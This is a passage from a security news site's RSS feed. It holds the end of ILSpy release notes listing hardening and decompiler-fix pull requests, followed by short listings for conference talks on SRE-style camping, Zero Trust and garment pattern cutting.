<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761445685" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3843" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3843/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3843">#3843</a>: Bound XamarinCompressedFileLoader against crafted XALZ headers</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761395399" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3842" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3842/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3842">#3842</a>: Bound WebCilFile section access against mapped-view length</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761295787" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3841" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3841/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3841">#3841</a>: Harden BAML reader against crafted-resource crashes</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4735803980" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3816" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3816/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3816">#3816</a>: Allow overriding an assembly's target framework for reference resolution</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761169648" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3840" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3840/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3840">#3840</a>: Bound .rsrc resource-tree parsing against crafted input</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4759588790" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3838" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3838/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3838">#3838</a>: Guard against OOB read when bundle signature is at file start</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4737336554" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3818" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3818/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3818">#3818</a>: Display the IL 'tail.' prefix in C# output</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4723910454" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3808" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3808/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3808">#3808</a>: Migrate the VS extension to an SDK-style VSIX (dotnet build) and retire the VS2017/2019 add-in</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4719933938" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3802" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3802/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3802">#3802</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4718225639" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3799" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3799/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3799">#3799</a> and three related stackalloc initializer decompilation defects</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4652771245" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3780" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3780/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3780">#3780</a>: Compute public-key tokens with a managed SHA-1</li>
</ul>
<h1>Documentation</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820002722" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3868" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3868/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3868">#3868</a>: CONTRIBUTING.md for the AI era</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820951011" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3870" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3870/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3870">#3870</a>: Add decompiler architecture document</li>
</ul>
<h1>Testing / Infrastructure</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644097043" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3771" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3771/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3771">#3771</a>: Run the decompiler test suite on Linux</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4671571517" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3788" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3788/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3788">#3788</a>: Use cross-platform separators for the FSharp.Core.dll test path</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4723637729" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3807" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3807/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3807">#3807</a>: Adopt SDK default Compile items in Decompiler and Decompiler.Tests</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733975594" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3815" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3815/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3815">#3815</a>: Verify generated PDBs against the compiler's breakpoint map (PdbGen fixtures previously passed vacuously)</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4758438764" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3836" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3836/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3836">#3836</a>: Don't assert decompiled local types match the signature</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4761139795" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3839" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3839/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3839">#3839</a>: Add fine-grained debug steps with highlighting for C# and ILAst</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4793373898" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3849" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3849/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3849">#3849</a>: Set OpenSSL SHA1 flag in build scripts</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4808741983" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3859" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3859/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3859">#3859</a>: Add test coverage for untested corners of implemented language features</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4851968414" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3874" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3874/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3874">#3874</a>: Upload TestCases folder as artifact when CI tests fail</li>
</ul>
<h1>Contributions</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4801689525" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3851" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3851/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3851">#3851</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4801681484" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3850" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3850/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3850">#3850</a>: recover ReadOnlySpan array literals from the legacy lazy cache — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4864134658" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3878" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3878/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3878">#3878</a>: Handle negative dictionary capacity in string switch transform — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ds5678/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ds5678">@ds5678</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750785500" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3828" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3828/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3828">#3828</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750713145" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3826" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3826/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3826">#3826</a>: wrap an overflowing constant subexpression in unchecked() — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752170808" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3831" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3831/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3831">#3831</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750713020" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3825" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3825/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3825">#3825</a>: reconstruct async iterators with [EnumeratorCancellation] and await in finally — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752125428" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3830" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3830/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3830">#3830</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750713292" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3827" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3827/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3827">#3827</a>: keep the while-loop for a ref local used after the loop (avoid an uninitialized hoisted ref decl) — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750148217" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3823" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3823/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3823">#3823</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4749937155" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3821" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3821/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3821">#3821</a>: keep ref-struct conditional as if/return, not ?. / ?? (CS8978) — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750084889" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3822" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3822/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3822">#3822</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4749936915" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3820" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3820/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3820">#3820</a>: decompile dynamic ~ as ~x instead of an unsupported-opcode error — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sailro/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sailro">@sailro</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4711234243" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3796" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3796/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3796">#3796</a>: Fix decompiler tests project inside VS — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/DoctorKrolic/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/DoctorKrolic">@DoctorKrolic</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4671354233" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3787" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3787/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3787">#3787</a>: dev: fix editorconfig parsing on some editors — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mochaaP/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mochaaP">@mochaaP</a>, thank you!</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4865510907" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3879" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3879/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3879">#3879</a>: Fix the "Use nested namespace structure" option — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ds5678/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ds5678">@ds5678</a>, thank you!</li>
</ul>
<h1>Bug Fixes</h1>
<ul>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4868276420" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3881" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3881/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3881">#3881</a>: Reject negative char index in the length-and-char string switch</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4814308307" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3866" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3866/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3866">#3866</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3053643281" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3475" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3475/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3475">#3475</a>: Emit 'true ? null : new { ... }' for null of anonymous type</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4814077592" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3864" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3864/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3864">#3864</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4810298870" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3860" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3860/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3860">#3860</a>: Avoid 'out var' if the variable recurs in the argument list</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848565462" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3873" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3873/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3873">#3873</a>: Fix dynamic event-assignment decompilation leaking is-event opcode</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4813891618" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3863" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3863/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3863">#3863</a>: Simplify hoisted null-guard fold to reference-type constructor chains</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4804415379" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3852" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3852/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3852">#3852</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4750711500" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3824" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3824/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3824">#3824</a>: fold a hoisted argument null-guard at the ILAst level</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4757025735" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3832" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3832/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3832">#3832</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4629464054" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3754" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3754/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3754">#3754</a>: omit async stepping info for runtime-async methods</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4722659830" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3806" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3806/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3806">#3806</a>: Fix Export NullReferenceException for images/resourcexsd.baml</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4687203880" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3792" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3792/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3792">#3792</a>: Fix <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644560669" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3774" data-hovercard-type="issue" data-hovercard-url="/icsharpcode/ILSpy/issues/3774/hovercard" href="https://github.com/icsharpcode/ILSpy/issues/3774">#3774</a>: keep field initializers when decompiling a static ctor alone</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4686988933" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3790" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3790/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3790">#3790</a>: Skip missing session assemblies when navigating on launch</li>
<li>PR <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4649929996" data-permission-text="Title is private" data-url="https://github.com/icsharpcode/ILSpy/issues/3776" data-hovercard-type="pull_request" data-hovercard-url="/icsharpcode/ILSpy/pull/3776/hovercard" href="https://github.com/icsharpcode/ILSpy/pull/3776">#3776</a>: Escape reserved Windows device names in output file names</li>
</ul>
<p>For a full list of changes click <a href="https://github.com/icsharpcode/ILSpy/compare/v10.1...v11.0-preview1">here</a>.</p>]]></content:encoded>
</item>
<item>
<title><![CDATA[An SRE's Guide to Camping in Extreme Conditions (emf2026)]]></title>
<description><![CDATA[Winter camping in the Alps sounds beautiful… doesn't it? 

That is, until the pipes freeze or the heating goes out when it’s -21°C outside. By day, I'm an SRE responsible for incident management, triaging alerts, and calling in subject matter experts when required. It turns out that those skills ...]]></description>
<link>https://tsecurity.de/de/3679415/it-security-video/an-sres-guide-to-camping-in-extreme-conditions-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3679415/it-security-video/an-sres-guide-to-camping-in-extreme-conditions-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 13:47:51 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Winter camping in the Alps sounds beautiful… doesn't it? 

That is, until the pipes freeze or the heating goes out when it’s -21°C outside. By day, I'm an SRE responsible for incident management, triaging alerts, and calling in subject matter experts when required. It turns out that those skills are transferable to handling real-life situations, too!

In this talk, I’ll share a fun (slightly traumatic) guide to applying SRE thinking to camping. I'll talk about hacky fixes to resolve the immediate impact, the process of narrowing down the root cause, and the beauty of pattern matching in observability. 

You’ll see that monitoring, escalation, and redundancy aren’t just for data centres. They’re survival tools.

If you’ve ever been on-call or just like a good disaster story, join me for this slightly chaotic, entirely true adventure in off-grid reliability.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/230-an-sres-guide-to-camping-in-extreme-conditions]]></content:encoded>
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<title><![CDATA[Eine Einführung in Zero Trust (mit Katzen!) (hackover2026)]]></title>
<description><![CDATA[Zero Trust ist so ein neues Ding unter dem Schlagwort "Sicherheitsarchitektur". Wie genau dieser viel gehypte Kratzbaum aussieht, erfahrt ihr hier.

Google macht's, Microsoft macht's, gegen Claude Mythos soll's sogar helfen: Zero Trust scheint das Ding zu sein, wenn es um Sicherheitsarchitektur g...]]></description>
<link>https://tsecurity.de/de/3678785/it-security-video/eine-einfuehrung-in-zero-trust-mit-katzen-hackover2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678785/it-security-video/eine-einfuehrung-in-zero-trust-mit-katzen-hackover2026/</guid>
<pubDate>Sun, 19 Jul 2026 05:01:47 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Zero Trust ist so ein neues Ding unter dem Schlagwort &quot;Sicherheitsarchitektur&quot;. Wie genau dieser viel gehypte Kratzbaum aussieht, erfahrt ihr hier.

Google macht's, Microsoft macht's, gegen Claude Mythos soll's sogar helfen: Zero Trust scheint das Ding zu sein, wenn es um Sicherheitsarchitektur geht. Was Zero Trust eigentlich ist und umfasst, was dadurch besser und was vielleicht auch schlechter wird, darum soll es in diesem Talk gehen. Und auch ein bisschen darum, ob sich dieses Zero Trust vielleicht auch für einen Hackerspace ~~voller Katzen~~ eignet.

Licensed to the public under https://creativecommons.org/licenses/by/4.0/
about this event: https://talks.hackover.de/ho26/talk/SRDBKX/]]></content:encoded>
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<title><![CDATA[Eine Einführung in Zero Trust (mit Katzen!) (hackover2026)]]></title>
<description><![CDATA[Zero Trust ist so ein neues Ding unter dem Schlagwort "Sicherheitsarchitektur". Wie genau dieser viel gehypte Kratzbaum aussieht, erfahrt ihr hier.

Google macht's, Microsoft macht's, gegen Claude Mythos soll's sogar helfen: Zero Trust scheint das Ding zu sein, wenn es um Sicherheitsarchitektur g...]]></description>
<link>https://tsecurity.de/de/3678760/it-security-video/eine-einfuehrung-in-zero-trust-mit-katzen-hackover2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678760/it-security-video/eine-einfuehrung-in-zero-trust-mit-katzen-hackover2026/</guid>
<pubDate>Sun, 19 Jul 2026 04:47:55 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Zero Trust ist so ein neues Ding unter dem Schlagwort &quot;Sicherheitsarchitektur&quot;. Wie genau dieser viel gehypte Kratzbaum aussieht, erfahrt ihr hier.

Google macht's, Microsoft macht's, gegen Claude Mythos soll's sogar helfen: Zero Trust scheint das Ding zu sein, wenn es um Sicherheitsarchitektur geht. Was Zero Trust eigentlich ist und umfasst, was dadurch besser und was vielleicht auch schlechter wird, darum soll es in diesem Talk gehen. Und auch ein bisschen darum, ob sich dieses Zero Trust vielleicht auch für einen Hackerspace ~~voller Katzen~~ eignet.

Licensed to the public under https://creativecommons.org/licenses/by/4.0/
about this event: https://talks.hackover.de/ho26/talk/SRDBKX/]]></content:encoded>
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<title><![CDATA[3D Modelmaking "for girls" - The overlooked engineering skill of pattern cutting (emf2026)]]></title>
<description><![CDATA[What exactly is involved in making garments, costumes, pattern cutting and sewing? And why won't you see it on the curriculum of an engineering or technology degree?

How has pattern cutting changed throughout history and why do a lot of people see it as 'women's work'? What's craft, what's art, ...]]></description>
<link>https://tsecurity.de/de/3678707/it-security-video/3d-modelmaking-for-girls-the-overlooked-engineering-skill-of-pattern-cutting-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678707/it-security-video/3d-modelmaking-for-girls-the-overlooked-engineering-skill-of-pattern-cutting-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 03:17:49 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What exactly is involved in making garments, costumes, pattern cutting and sewing? And why won't you see it on the curriculum of an engineering or technology degree?

How has pattern cutting changed throughout history and why do a lot of people see it as 'women's work'? What's craft, what's art, what's engineering? What does a toy gorilla come to life really look like? Can I have a life sized, screen accurate mannequin version of Ryan Gosling? 

Find out all this and more.......accept that last one, which is no you can't - but it does exist.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/213-3d-modelmaking-for-girls]]></content:encoded>
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<title><![CDATA[3D Modelmaking "for girls" - The overlooked engineering skill of pattern cutting (emf2026)]]></title>
<description><![CDATA[What exactly is involved in making garments, costumes, pattern cutting and sewing? And why won't you see it on the curriculum of an engineering or technology degree?

How has pattern cutting changed throughout history and why do a lot of people see it as 'women's work'? What's craft, what's art, ...]]></description>
<link>https://tsecurity.de/de/3678686/it-security-video/3d-modelmaking-for-girls-the-overlooked-engineering-skill-of-pattern-cutting-emf2026/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3678686/it-security-video/3d-modelmaking-for-girls-the-overlooked-engineering-skill-of-pattern-cutting-emf2026/</guid>
<pubDate>Sun, 19 Jul 2026 03:02:57 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[What exactly is involved in making garments, costumes, pattern cutting and sewing? And why won't you see it on the curriculum of an engineering or technology degree?

How has pattern cutting changed throughout history and why do a lot of people see it as 'women's work'? What's craft, what's art, what's engineering? What does a toy gorilla come to life really look like? Can I have a life sized, screen accurate mannequin version of Ryan Gosling? 

Find out all this and more.......accept that last one, which is no you can't - but it does exist.

Licensed to the public under https://creativecommons.org/licenses/by-sa/4.0/
about this event: https://www.emfcamp.org/schedule/2026/213-3d-modelmaking-for-girls]]></content:encoded>
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<title><![CDATA[KDnuggets Weekly Roundup: Week of July 13, 2026]]></title>
<description><![CDATA[Stop Using If-Else Chains: Use the Registry Pattern in Python Instead • 5 Real-World SQL Projects to Build Your Data Portfolio • 10 YouTube Channels Keeping You Ahead in AI • Structured Language Model Generation with Outlines]]></description>
<link>https://tsecurity.de/de/3678054/ai-nachrichten/kdnuggets-weekly-roundup-week-of-july-13-2026/</link>
